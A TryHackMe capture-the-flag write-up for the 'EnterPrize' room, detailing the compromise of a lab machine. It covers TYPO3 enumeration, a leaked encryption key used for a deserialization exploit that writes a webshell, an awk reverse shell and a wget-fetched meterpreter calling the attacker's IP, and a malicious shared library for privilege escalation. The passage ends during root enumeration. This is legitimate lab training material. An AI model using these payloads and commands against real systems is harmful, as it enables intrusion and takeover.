EnterPrize - Write-up - TryHackMe

Information

Room#

  • Name: EnterPrize
  • Profile: tryhackme.com
  • Difficulty: Hard
  • Description: Can you hack your way in?

EnterPrize

Write-up

Overview#

Install tools used in this WU on BlackArch Linux:

$ sudo pacman -S nmap feroxbuster ffuf whatweb weevely phpggc metasploit

Network enumeration#

Add a local domain to the host:

$ grep enterprize /etc/hosts
10.10.161.131 enterprize.thm

Port and service scan with nmap:

# Nmap 7.92 scan initiated Sun Mar  6 16:53:33 2022 as: nmap -sSVC -p- -v -oA nmap_full enterprize.thm
Nmap scan report for enterprize.thm (10.10.161.131)
Host is up (0.038s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT    STATE  SERVICE VERSION
22/tcp  open   ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 67:c0:57:34:91:94:be:da:4c:fd:92:f2:09:9d:36:8b (RSA)
|   256 13:ed:d6:6f:ea:b4:5b:87:46:91:6b:cc:58:4d:75:11 (ECDSA)
|_  256 25:51:84:fd:ef:61:72:c6:9d:fa:56:5f:14:a1:6f:90 (ED25519)
80/tcp  open   http    Apache httpd
|_http-server-header: Apache
|_http-title: Blank Page
| http-methods:
|_  Supported Methods: POST OPTIONS HEAD GET
443/tcp closed https
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar  6 16:57:04 2022 -- 1 IP address (1 host up) scanned in 211.02 seconds

Web discovery#

The homepage http://enterprize.thm/ is empty and only displays:

Nothing to see here.

Web enumeration#

Not really any sub-folder:

$ feroxbuster -u http://enterprize.thm/
...
403        7l       20w      199c http://enterprize.thm/var
403        7l       20w      199c http://enterprize.thm/public
403        7l       20w      199c http://enterprize.thm/vendor
403        7l       20w      199c http://enterprize.thm/server-status

The large RAFT life list didn't find any file:

$ feroxbuster -u http://enterprize.thm/ -q -w /usr/share/seclists/Discovery/Web-Content/raft-large-files-lowercase.txt -C 403
200        1l        5w       85c http://enterprize.thm/index.html
200        1l        5w       85c http://enterprize.thm/

So let's use the quickhits.txt list.

$ feroxbuster -u http://enterprize.thm/ -q -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt -C 403
200       20l       39w      589c http://enterprize.thm/composer.json
Scanning: http://enterprize.thm/
Scanning: http://enterprize.thm/server-status/
Scanning: http://enterprize.thm/var/backups/
Scanning: http://enterprize.thm/var/logs/
Scanning: http://enterprize.thm/var/log/

There is a composer.json, a file listing installed PHP packages.

$ curl http://enterprize.thm/composer.json -s | jq
{
  "name": "superhero1/enterprize",
  "description": "THM room EnterPrize",
  "type": "project",
  "require": {
    "typo3/cms-core": "^9.5",
    "guzzlehttp/guzzle": "~6.3.3",
    "guzzlehttp/psr7": "~1.4.2",
    "typo3/cms-install": "^9.5",
    "typo3/cms-backend": "^9.5",
    "typo3/cms-extbase": "^9.5",
    "typo3/cms-extensionmanager": "^9.5",
    "typo3/cms-frontend": "^9.5",
    "typo3/cms-introduction": "^4.0"
  },
  "license": "GPL",
  "minimum-stability": "stable"
}

Typo3 is an open-source CMS.

Here it is installed in 9.5 version, let's check the install documentation in that version.

Here is the fresh installed tree reported in the documentation:

.
├── .gitignore
├── composer.json
├── composer.lock
├── LICENSE
├── public
├── README.md
├── var
└── vendor

But we can't find any other file. Maybe the website is server via another subdomain.

Let's try virtual server enumeration, there is a subdomain returning a 503 status code:

$ ffuf -u 'http://enterprize.thm/' -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H 'Host: FUZZ.enterprize.thm' -fs 85 -mc all
...
maintest                [Status: 503, Size: 1713, Words: 110, Lines: 47, Duration: 45ms]

Let's add the subdomain to the host file:

$ grep enterprize /etc/hosts
10.10.161.131 enterprize.thm maintest.enterprize.thm

whatweb is able identify the exact version:

$ whatweb http://maintest.enterprize.thm --plugins typo3 --aggression 3
http://maintest.enterprize.thm [200 OK] TYPO3[9.5.22]

Knowing it is in 9.5.22 version is nice but not very helpful, we would like to enumerate extensions, users, vulnerabilities, like wpscan does for wordpress ... of course there is Typo3Scan.

Let's temporary install it in a virtual environment.

$ cd /tmp
$ git clone https://github.com/whoot/Typo3Scan.git
$ cd Typo3Scan
$ python -m venv venv
$ source venv/bin/activate
$ python -m pip install -r requirements.txt

First update the extension and vulnerability database, then launch a scan:

$ python typo3scan.py -u
$ python typo3scan.py -d http://maintest.enterprize.thm

Note: Typo3Scan can't find the exact version (9.5.x) which is a pity for a Typo3 focused tool while WhatWeb was able to.

As Typo3Scan failed to detect the exact version it offers lo list all vulnerabilities for 9.5 and we will have to filter the relevant vulnerabilities manually for 9.5.22.

...
[!] TYPO3-CORE-SA-2020-011
      ├ Vulnerability Type: Sensitive Data Exposure
      ├ Subcomponent:       Session Storage (ext:core)
      ├ Affected Versions:  9.5.22 - 9.0.0
      â”” Advisory URL:       https://typo3.org/security/advisory/typo3-core-sa-2020-011

     [!] TYPO3-CORE-SA-2020-010
      ├ Vulnerability Type: Cross-Site Scripting
      ├ Subcomponent:       Fluid (ext:fluid)
      ├ Affected Versions:  9.5.22 - 9.0.0
      â”” Advisory URL:       https://typo3.org/security/advisory/typo3-core-sa-2020-010

     [!] TYPO3-CORE-SA-2020-009
      ├ Vulnerability Type: Cross-Site Scripting
      ├ Subcomponent:       Fluid Engine (package typo3fluid/fluid)
      ├ Affected Versions:  9.5.22 - 9.0.0
      â”” Advisory URL:       https://typo3.org/security/advisory/typo3-core-sa-2020-009
...
     [!] TYPO3-CORE-SA-2021-006
      ├ Vulnerability Type: Sensitive Data Exposure
      ├ Subcomponent:       Session Storage (ext:core)
      ├ Affected Versions:  9.5.24 - 9.0.0
      â”” Advisory URL:       https://typo3.org/security/advisory/typo3-core-sa-2021-006

     [!] TYPO3-CORE-SA-2021-005
      ├ Vulnerability Type: Denial of Service
      ├ Subcomponent:       Page Error Handling (ext:core, ext:frontend)
      ├ Affected Versions:  9.5.24 - 9.0.0
      â”” Advisory URL:       https://typo3.org/security/advisory/typo3-core-sa-2021-005

     [!] TYPO3-CORE-SA-2021-003
      ├ Vulnerability Type: Broken Access Control
      ├ Subcomponent:       Form Framework (ext:form)
      ├ Affected Versions:  9.5.24 - 9.0.0
      â”” Advisory URL:       https://typo3.org/security/advisory/typo3-core-sa-2021-003

     [!] TYPO3-CORE-SA-2021-002
      ├ Vulnerability Type: Unrestricted File Upload
      ├ Subcomponent:       Form Framework (ext:form)
      ├ Affected Versions:  9.5.24 - 9.0.0
      â”” Advisory URL:       https://typo3.org/security/advisory/typo3-core-sa-2021-002

     [!] TYPO3-CORE-SA-2021-001
      ├ Vulnerability Type: Open Redirection
      ├ Subcomponent:       Login Handling (ext:core)
      ├ Affected Versions:  9.5.24 - 9.0.0
      â”” Advisory URL:       https://typo3.org/security/advisory/typo3-core-sa-2021-001

     [!] TYPO3-CORE-SA-2021-013
      ├ Vulnerability Type: Cross-Site-Scripting
      ├ Subcomponent:       Content Rendering, HTML Parser (ext:frontend, ext:core)
      ├ Affected Versions:  9.5.28 - 9.0.0
      â”” Advisory URL:       https://typo3.org/security/advisory/typo3-core-sa-2021-013

     [!] TYPO3-CORE-SA-2021-012
      ├ Vulnerability Type: Information Disclosure
      ├ Subcomponent:       User Authentication (ext:core)
      ├ Affected Versions:  9.5.27 - 9.0.0
      â”” Advisory URL:       https://typo3.org/security/advisory/typo3-core-sa-2021-012

     [!] TYPO3-CORE-SA-2021-011
      ├ Vulnerability Type: Cross-Site Scripting
      ├ Subcomponent:       Backend Grid View (ext:backend)
      ├ Affected Versions:  9.5.27 - 9.0.0
      â”” Advisory URL:       https://typo3.org/security/advisory/typo3-core-sa-2021-011

     [!] TYPO3-CORE-SA-2021-010
      ├ Vulnerability Type: Cross-Site Scripting
      ├ Subcomponent:       Query Generator & Query View (ext:lowlevel, ext:core)
      ├ Affected Versions:  9.5.27 - 9.0.0
      â”” Advisory URL:       https://typo3.org/security/advisory/typo3-core-sa-2021-010

     [!] TYPO3-CORE-SA-2021-009
      ├ Vulnerability Type: Cross-Site Scripting
      ├ Subcomponent:       Page Preview (ext:viewpage)
      ├ Affected Versions:  9.5.27 - 9.0.0
      â”” Advisory URL:       https://typo3.org/security/advisory/typo3-core-sa-2021-009

Also it found 2 extensions:

[+] Extension Information
-------------------------
 [+] bootstrap_package
  ├ Extension Title:       Bootstrap Package
  ├ Extension Repo:        https://extensions.typo3.org/extension/bootstrap_package
  ├ Extension Url:         http://maintest.enterprize.thm/typo3conf/ext/bootstrap_package
  ├ Current Version:       12.0.4 (stable)
  ├ Identified Version:    10.0.9
  ├ Version File:          http://maintest.enterprize.thm/typo3conf/ext/bootstrap_package/CHANGELOG.md
  â”” Known Vulnerabilities:

    [!] TYPO3-EXT-SA-2021-007
     ├ Vulnerability Type: Cross-Site Scripting
     ├ Affected Versions:  10.0.9 - 10.0.0
     â”” Advisory Url:       https://typo3.org/security/advisory/typo3-ext-sa-2021-007


 [+] introduction
  ├ Extension Title:       The Official TYPO3 Introduction Package
  ├ Extension Repo:        https://extensions.typo3.org/extension/introduction
  ├ Extension Url:         http://maintest.enterprize.thm/typo3conf/ext/introduction
  ├ Current Version:       4.4.1 (stable)
  â”” Identified Version:    -unknown-

TYPO3-CORE-SA-2021-002 file upload doesn't need authentication but won't work for .php or .htaccess as stated in the advisory.

TYPO3-CORE-SA-2021-012 says that user credentials have been logged as plaintext when explicitly using log level debug (non-default).

It doesn't seem we will be able to exploit a vulnerability as is.

Let's go back to enumeration then.

$ ffuf -u 'http://maintest.enterprize.thm/FUZZ' -c -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -mc all -fs 196
...
typo3                   [Status: 301, Size: 245, Words: 14, Lines: 8, Duration: 24ms]
fileadmin               [Status: 301, Size: 249, Words: 14, Lines: 8, Duration: 23ms]
typo3conf               [Status: 301, Size: 249, Words: 14, Lines: 8, Duration: 24ms]
typo3temp               [Status: 301, Size: 249, Words: 14, Lines: 8, Duration: 23ms]
server-status           [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 24ms]
                        [Status: 503, Size: 1713, Words: 110, Lines: 47, Duration: 39ms]

Note: at some point the application crashes and returns 503 status code.

It seems that directory listing is enabled, so we can list the content of fileadmin or typo3conf folders.

In http://maintest.enterprize.thm/typo3conf/ we can find an old config file renamed with the .old extension: LocalConfiguration.old.

In this configuration file we can read:

  • installToolPassword that has been removed
  • the database password that may have been replaced
  • the system encryptionKey

By searching the two keywords typo3 encryptionKey in attackerKB we find CVE-2020-15099.

We didn't find it early with Typo3Scan because TYPO3-CORE-SA-2020-007 says affected versions are from 9.0.0 to 9.5.19.

With encryptionKey we should be able to create

an administration user account – which can be used to trigger remote code execution by injecting custom extensions.

according to the CVE.

Searching the same keywords on a search engine leads to SynAcktiv article on how to exploit it.

Web exploitation#

The previous article explains how a deserialization vulnerability occurs in the forwardToReferringRequest() function of Typo3. This function is called when a form is sent to the server.

By navigating the website menu we can find a page with a form: http://maintest.enterprize.thm/index.php?id=38

The leaked encryptionKey allows us to compute a valid HMAC to pass the signature check.

Then we need a gadget to exploit the PHP deserialization, as in the article we can see the composer.json includes a guzzle dependency:

"guzzlehttp/guzzle": "~6.3.3",

Hopefully phpggc already includes a guzzle gadget chain.

We have all the ingredients we need for our deserialization recipe!

We'll stat by generating a fancy webshell with weevely.

$ weevely generate norajpass noraj-agent.php
Generated 'noraj-agent.php' with password 'norajpass' of 751 byte size.

Then we'll need to fetch phpggc:

$ git clone https://github.com/ambionics/phpggc
$ cd phpggc

There are different Guzzle gadgets, for more persistence we'll choose the file write one to write oru webshell.

$ ./phpggc -l Guzzle

Gadget Chains
-------------

NAME                     VERSION                         TYPE                   VECTOR        I
Guzzle/FW1               6.0.0 <= 6.3.3+                 File write             __destruct
Guzzle/INFO1             6.0.0 <= 6.3.2                  phpinfo()              __destruct    *
Guzzle/RCE1              6.0.0 <= 6.3.2                  RCE (Function call)    __destruct    *
Pydio/Guzzle/RCE1        < 8.2.2                         RCE (Function call)    __toString
WordPress/Guzzle/RCE1    4.0.0 <= 6.4.1+ & WP < 5.5.2    RCE (Function call)    __toString    *
WordPress/Guzzle/RCE2    4.0.0 <= 6.4.1+ & WP < 5.5.2    RCE (Function call)    __destruct    *

$ ./phpggc -i Guzzle/FW1
Name           : Guzzle/FW1
Version        : 6.0.0 <= 6.3.3+
Type           : File write
Vector         : __destruct

./phpggc Guzzle/FW1 <remote_path> <local_path>

We can probably write into /fileadmin/_temp_/ or /fileadmin/user_upload/ on the remote machine.

$ ./phpggc --base64 --fast-destruct Guzzle/FW1 /var/www/html/public/fileadmin/_temp_/noraj-agent.php ../noraj-agent.php > serialized_payload.txt

Before generating the HMAc we need to know which algorithm is used but the article doesn't say it. The quick and dirty way to find it is to analyse the signature generated in the article and guess it.

$ haiti 1337e758b27ba8f6f8eabcaa02afd8e885381337
SHA-1 [HC: 100] [JtR: raw-sha1]
RIPEMD-160 [HC: 6000] [JtR: ripemd-160]
Double SHA-1 [HC: 4500]
Haval-160 (3 rounds) [JtR: dynamic_190]
Haval-160 (4 rounds) [JtR: dynamic_200]
Haval-160 (5 rounds) [JtR: dynamic_210]
Tiger-160
HAS-160
LinkedIn [HC: 190] [JtR: raw-sha1-linkedin]
Skein-256(160)
Skein-512(160)
Ruby on Rails Restful Auth (one round, no sitekey) [HC: 27200]
MySQL5.x [HC: 300] [JtR: mysql-sha1]
MySQL4.1 [HC: 300] [JtR: mysql-sha1]
Umbraco HMAC-SHA1 [HC: 24800]

With the help fo haiti we could probably say it is SHA1.

But the only way to know for sure is the long and smart way: code review.

We know the validateAndStripHmac function is called to validate the hash, so let's find it in the code. By using github search engine I quickly found it is defined in /typo3/sysext/extbase/Classes/Security/Cryptography/HashService.php. Now we need to set a vulnerable version back from that time: 9.5.19.

validateAndStripHmac is defined here:

public function validateAndStripHmac($string)
{
    if (!is_string($string)) {
        throw new \TYPO3\CMS\Extbase\Security\Exception\InvalidArgumentForHashGenerationException('A hash can only be validated for a string, but "' . gettype($string) . '" was given.', 1320829762);
    }
    if (strlen($string) < 40) {
        throw new \TYPO3\CMS\Extbase\Security\Exception\InvalidArgumentForHashGenerationException('A hashed string must contain at least 40 characters, the given string was only ' . strlen($string) . ' characters long.', 1320830276);
    }
    $stringWithoutHmac = substr($string, 0, -40);
    if ($this->validateHmac($stringWithoutHmac, substr($string, -40)) !== true) {
        throw new \TYPO3\CMS\Extbase\Security\Exception\InvalidHashException('The given string was not appended with a valid HMAC.', 1320830018);
    }
    return $stringWithoutHmac;
}

It does some checks and strips then call validateHmac which is a few line above.

public function validateHmac($string, $hmac)
{
    return hash_equals($this->generateHmac($string), $hmac);
}

It only compares the provided hash is equal to the generated one by generateHmac:

public function generateHmac($string)
{
    if (!is_string($string)) {
        throw new \TYPO3\CMS\Extbase\Security\Exception\InvalidArgumentForHashGenerationException('A hash can only be generated for a string, but "' . gettype($string) . '" was given.', 1255069587);
    }
    $encryptionKey = $GLOBALS['TYPO3_CONF_VARS']['SYS']['encryptionKey'];
    if (!$encryptionKey) {
        throw new \TYPO3\CMS\Extbase\Security\Exception\InvalidArgumentForHashGenerationException('Encryption Key was empty!', 1255069597);
    }
    return hash_hmac('sha1', $string, $encryptionKey);
}

There we can see sha1 is used, without guessing.

Now we have several way of computing the HMAC.

We can use PHP hash_hmac native function.

<?php
$sig = hash_hmac('sha1', $argv[1], "71<encryptionKey_edited>0b");
print($sig);
?>
$ php hmac.php $(cat ./phpggc/serialized_payload.txt)
7c2b7a0949ec730afe7bb908ff2df85973e3a725

There is a linux binary hmac256 from libgcrypt but it works onlmy for SHA256:

$ hmac256 71<encryptionKey_edited>0b phpggc/serialized_payload.txt
bde6c9cc6c955432791f97803cb1d8edc827fae1b34c70eaca1e19f54e3cd7dc  phpggc/serialized_payload.txt

For sha1 we need to use openssl:

$ cat phpggc/serialized_payload.txt| openssl dgst -sha1 -hmac '71<encryptionKey_edited>0b'
(stdin)= 7c2b7a0949ec730afe7bb908ff2df85973e3a725

We can also use a small ruby script:

require 'openssl'
sig = OpenSSL::HMAC.hexdigest("SHA1", '71<encryptionKey_edited>0b', File.read(ARGV[0]))
puts sig
$ ruby hmac.rb phpggc/serialized_payload.txt
7c2b7a0949ec730afe7bb908ff2df85973e3a725

The final payload just need to be the concatenation of the base64 encoded serialized webshell and the SHA1 HMAC signature.

That's why validateAndStripHmac stip all but the last 40 chars (SHA1 is 40 chars long).

YToyOntpOjc7TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czozNjoiAEd1enpsZUh0dHBcQ29va2llXENvb2tpZUphcgBjb29raWVzIjthOjE6e2k6MDtPOjI3OiJHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUiOjE6e3M6MzM6IgBHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUAZGF0YSI7YTozOntzOjc6IkV4cGlyZXMiO2k6MTtzOjc6IkRpc2NhcmQiO2I6MDtzOjU6IlZhbHVlIjtzOjc1MToiPD9waHAKJGQ9JyRrPUdSIjNjR1JiMThlZmMiOyRrR1JHUmg9IjBmR1I0OTdjODNmR1JHUmQxYiI7JGtmPUdSIjNjNzA1Y2JiZTg4ZSI7JEdScD0iR1JsVVNYN0dSWHpvTHNRR1IyOENTSyI7ZnVuY0dSdGlvR1JuIHgoJHRHUkcnOwokRT1zdHJfcmVwbGFjZSgncFInLCcnLCdjcnBScFJwUmVhcFJ0ZV9wUmZ1bnBSY3Rpb24nKTsKJFU9J1IsR1Ikayl7JGM9c3RybGVuKCRrR1JHUik7JGw9c3RybGVuR1IoJHQpO0dSJG89IiI7Zm9HUnIoR1IkaUdSPTA7JGk8R1IkbDspe2ZvcihHUiRHUmo9MDsoJGo8JGMmJiRpPEdSJGwpR1I7JGorKywkaSsrKXskJzsKJGU9J1JwdXQiKSwkR1JtR1IpPT1HUjEpR1Ige0BvYl9zdGFydEdSKCk7QGV2YUdSbChAZ0dSenVuY29tcEdScmVzcyhAR1J4KEdSQGJHUmFzZTY0X2RHUmVjb2RlKCRtWzFdKSwkaykpKUdSOyRvPUBvYkdSX2dldF8nOwokUz0nby49R1IkdEdSeyRpfV4ka3skan1HUjtHUn19R1JyZXRHUnVybiAkbzt9aWYgR1IoQHByZWdfR1JtYUdSdGNoKCIvJGtoR1IoLkdSR1IrKSRrZi8iLEBmaWxlX2dldF9jb25HUnRlbnRzR1IoInBoR1JwOi8vaW5HJzsKJGc9J0dSY29udGVudHMoKTtAR1JvYl9lbkdSZEdSX0dSY2xlYW4oKTskcj1HUkBiYXNHUmU2NF9lbkdSY29kR1JlKEB4KEBnR1J6Y0dSb21wR1JyZXNzKCRvKSwkR1JrKSk7cHJpbkdSdCgiJHAka2gkciRrZiIpO30nOwokVz1zdHJfcmVwbGFjZSgnR1InLCcnLCRkLiRVLiRTLiRlLiRnKTsKJHM9JEUoJycsJFcpOyRzKCk7Cj8+CiI7fX19czozOToiAEd1enpsZUh0dHBcQ29va2llXENvb2tpZUphcgBzdHJpY3RNb2RlIjtOO3M6NDE6IgBHdXp6bGVIdHRwXENvb2tpZVxGaWxlQ29va2llSmFyAGZpbGVuYW1lIjtzOjUzOiIvdmFyL3d3dy9odG1sL3B1YmxpYy9maWxlYWRtaW4vX3RlbXBfL25vcmFqLWFnZW50LnBocCI7czo1MjoiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAc3RvcmVTZXNzaW9uQ29va2llcyI7YjoxO31pOjc7aTo3O30=7c2b7a0949ec730afe7bb908ff2df85973e3a725

Then fill the form with whatever values you want, intercept the request.

Now we need to replace the field tx_form_formframework[contactForm-144][__state] value with our payload.

Right now my paylaod is failing, the webshell was not uploaded.

I guess my PHP version is too recent:

$ php --version
PHP 8.1.3 (cli) (built: Feb 16 2022 13:27:56) (NTS)
Copyright (c) The PHP Group
Zend Engine v4.1.3, Copyright (c) Zend Technologies

Typo3 9 requires a version of PHP between 7.2 and 7.4.

$ pikaur -S php74 php74-cli
$ php74 --version
PHP 7.4.28 (cli) (built: Mar  8 2022 00:38:22) ( NTS )
Copyright (c) The PHP Group
Zend Engine v3.4.0, Copyright (c) Zend Technologies

So let's try again with PHP 7.4 (diffing the output of phpggc I saw there was a difference).

$ php74 ./phpggc --base64 --fast-destruct Guzzle/FW1 /var/www/html/public/fileadmin/_temp_/noraj-agent.php ../noraj-agent.php > serialized_payload.txt

$ ruby hmac.rb phpggc/serialized_payload.txt
3ff24aebfecbd135ed2f71199af38fb186d2485f

Failing again, the webshell was not uploaded. And if it was the weevely webshell that wasn't serializing correctly?

Let's try a simpler webshell.

<?php $output = system($_GET[1]); echo $output ; ?>

Failing again, the webshell was not uploaded.

So I stole a payload from another writeup to be able to to RCE and used it find the PHP version to avoid retrying the same process with many PHP versions. For some reason /usr/bin/php --version was not working so I ran ls -lh /usr/bin | grep php to see what's going on:

lrwxrwxrwx  1 root   root      21 Jan  3  2021 php -> /etc/alternatives/php
-rwxr-xr-x+ 1 root   root    4.7M Oct  7  2020 php7.2

ls -lh /etc/alternatives/php

lrwxrwxrwx 1 root root 15 Jan  3  2021 /etc/alternatives/php -> /usr/bin/php7.2

So it seems the server is using PHP 7.2.X. Of course we need the same version to have a valid serialized payload.

The challenge was easier when released as PHP version 7.2 was the latest available on Ubuntu LTS at that time so people just used phpggc without questionning while now identifying the PHP version on the server is difficult as it doesn't leak in HTTP header. Also compiling and installing previous version of PHP can be challenging and time consuming.

So now that I know that I need to use PHP 7.2 I'll use a docker image.

$ sudo docker pull php:7.2-cli

$ sudo docker run -it php:7.2-cli php --version
PHP 7.2.34 (cli) (built: Dec 11 2020 10:44:02) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies

$ sudo docker run -it -v "$PWD":/usr/src/myapp -w /usr/src/myapp php:7.2-cli php phpggc/phpggc --base64 --fast-destruct Guzzle/FW1 /var/www/html/public/fileadmin/_temp_/noraj-agent.php noraj-agent.php

$ ruby hmac.rb serialized_payload.txt
c8d24d24773e404c6f353bdfef371ce471e320c8

This time it works, my webshell was uploaded!

Unfortunately weevely can't connect but now that uploads work we can upload a more classic PHP webshell.

$ weevely terminal http://maintest.enterprize.thm/fileadmin/_temp_/noraj-agent.php norajpass

[+] weevely 4.0.1

[+] Target:     maintest.enterprize.thm
[+] Session:    /home/noraj/.weevely/sessions/maintest.enterprize.thm/noraj-agent_1.session

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely> id
Backdoor communication failed, check URL availability and password

From webshell to reverse shell#

Running the id we can see we are in the blocked group.

uid=33(www-data) gid=33(www-data) groups=33(www-data),1001(blocked) uid=33(www-data) gid=33(www-data) groups=33(www-data),1001(blocked)

Most binaries are blocked or not available, the only one I found working from https://www.revshells.com/ was the awk one.

awk 'BEGIN {s = "/inet/tcp/0/10.9.19.77/9999"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
GET /fileadmin/_temp_/inject.php?1=%61%77%6b%20%27%42%45%47%49%4e%20%7b%73%20%3d%20%22%2f%69%6e%65%74%2f%74%63%70%2f%30%2f%31%30%2e%39%2e%31%39%2e%37%37%2f9999%22%3b%20%77%68%69%6c%65%28%34%32%29%20%7b%20%64%6f%7b%20%70%72%69%6e%74%66%20%22%73%68%65%6c%6c%3e%22%20%7c%26%20%73%3b%20%73%20%7c%26%20%67%65%74%6c%69%6e%65%20%63%3b%20%69%66%28%63%29%7b%20%77%68%69%6c%65%20%28%28%63%20%7c%26%20%67%65%74%6c%69%6e%65%29%20%3e%20%30%29%20%70%72%69%6e%74%20%24%30%20%7c%26%20%73%3b%20%63%6c%6f%73%65%28%63%29%3b%20%7d%20%7d%20%77%68%69%6c%65%28%63%20%21%3d%20%22%65%78%69%74%22%29%20%63%6c%6f%73%65%28%73%29%3b%20%7d%7d%27%20%2f%64%65%76%2f%6e%75%6c%6c HTTP/1.1
Host: maintest.enterprize.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: fe_typo_user=aea48c6f6e1ab39c393bf12f6e25c367; cookieconsent_status=dismiss
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
$ ncat -lvnp 9999
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 10.10.29.248.
Ncat: Connection from 10.10.29.248:43931.
shell>id
uid=33(www-data) gid=33(www-data) groups=33(www-data),1001(blocked)

Upgrade reverse shell#

As we have a limited shell we can upload a meterpreter reverse shell.

Craft the meterpreter:

$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.9.19.77 LPORT=8888 -f elf -o reverse.elf

Start a one-line HTP server:

$ ruby -run -ehttpd . -p8000

Download and execute it:

shell>wget http://10.9.19.77:8000/reverse.elf
shell>chmod u+x reverse.elf
shell>./reverse.elf

Receive the connection:

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.9.19.77:8888
[*] Sending stage (3020772 bytes) to 10.10.29.248
[*] Meterpreter session 1 opened (10.9.19.77:8888 -> 10.10.29.248:33650 ) at 2022-03-12 18:50:57 +0100

meterpreter >

Elevation of Prevelege (EoP): from www-data to john#

We'll have to get hohn's permissions to read user.txt flag.

$ ls -lh /home/john
total 8.0K
drwxrwxrwt 2 john john 4.0K Jan  3  2021 develop
-r-------- 1 john john   38 Jan  3  2021 user.txt

$ ls -lh /home/john/develop
total 24K
-r-xr-xr-x 1 john john 17K Jan  2  2021 myapp
-rw-rw-r-- 1 john john  44 Mar 12 17:58 result.txt

$ ls -lh /home/john/develop/myapp

$ ls -lh /home/john/develop/myapp
-r-xr-xr-x 1 john john 17K Jan  2  2021 /home/john/develop/myapp

Let's check the libraries loaded:

$ ldd /home/john/develop/myapp
        linux-vdso.so.1 (0x00007fff2b16b000)
        libcustom.so => /usr/lib/libcustom.so (0x00007eff32e00000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007eff327f8000)
        /lib64/ld-linux-x86-64.so.2 (0x00007eff32be9000)

Let's check the ld.so configuration to see how shared libraries are loaded.

$ cat /etc/ld.so.conf
include /etc/ld.so.conf.d/*.conf

$ ls -lh /etc/ld.so.conf.d/
total 8.0K
-rw-r--r-- 1 root root  44 Jan 27  2016 libc.conf
lrwxrwxrwx 1 root root  28 Jan  3  2021 x86_64-libc.conf -> /home/john/develop/test.conf
-rw-r--r-- 1 root root 100 Apr 16  2018 x86_64-linux-gnu.conf

x86_64-libc.conf is a symlink to /home/john/develop/test.conf where we can write.

With ltrace we can see the function do_ping is called:

$ ltrace ./myapp
puts("Welcome to my pinging applicatio"...)      = 35
do_ping(0x7fa6aa1e8760, 0x5629ee9dd008, 0x7fa6aa1e98c0, 0x5629ee9dd02a) = 9
Welcome to my pinging application!
Test...

+++ exited (status 0) +++

do_ping must be loaded from libcustom.so.

Let's upload pspy to see if there is a cron job.

  • On host:
    • wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64
    • ruby -run -ehttpd . -p8000
  • On target:
    • wget http://10.9.19.77:8000/pspy64
    • chmod u+x pspy64

We can observe this:

2022/03/12 18:56:01 CMD: UID=0    PID=3713   | /usr/sbin/CRON -f
2022/03/12 18:56:01 CMD: UID=0    PID=3712   | /usr/sbin/CRON -f
2022/03/12 18:56:01 CMD: UID=0    PID=3715   | /bin/sh -c /sbin/ldconfig
2022/03/12 18:56:01 CMD: UID=1000 PID=3714   | /bin/sh -c /home/john/develop/myapp > /home/john/develop/result.txt
2022/03/12 18:56:02 CMD: UID=1000 PID=3717   | /home/john/develop/myapp
2022/03/12 18:56:02 CMD: UID=0    PID=3716   | /sbin/ldconfig.real

So there is a cron job where john launchs the binary.

I'll make my lib launch a meterpreter.

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

void do_ping(){
    system("/var/www/html/public/fileadmin/_temp_/reverse_john.elf", NULL, NULL);
}

Then compile the lib on our machine and upload it.

$ gcc -shared -o libcustom.so -fPIC libcustom.c

On the target, create the LD config file and copy the bad lib.

$ cd /home/john/develop
$ mv /var/www/html/public/fileadmin/_temp_/libcustom.so .
$ echo '/home/john/develop' > /home/john/develop/test.conf

Just waiting 2 minutes I received a connection:

msf6 exploit(multi/handler) > sessions -l

Active sessions
===============

  Id  Name  Type                   Information              Connection
  --  ----  ----                   -----------              ----------
  1         meterpreter x64/linux  www-data @ 10.10.29.248  10.9.19.77:8888 -> 10.10.29.248:33650  (10.10.29.248)
  2         meterpreter x64/linux  john @ 10.10.29.248      10.9.19.77:7777 -> 10.10.29.248:44638  (10.10.29.248)
$ id
uid=1000(john) gid=1000(john) groups=1000(john),4(adm),24(cdrom),30(dip),46(plugdev),1001(blocked)

$ cat user.txt
THM{edited}

Persitence#

Let's create a SSH access with our public key.

$ mkdir ~/.ssh
$ echo "YOUR_KEY_HERE" > /home/john/.ssh/authorized_keys

Then we can connect to the host:

$ ssh -i ~/.ssh/id_ed25519 john@enterprize.thm

Elevation of Prevelege (EoP): from john to root#

john@enterprize:~$ ss -nlpt
State                          Recv-Q                          Send-Q                                                    Local Address:Port                                                      Peer Address:Port
LISTEN                         0                               128                                                             0.0.0.0:34119                                                          0.0.0.0:*
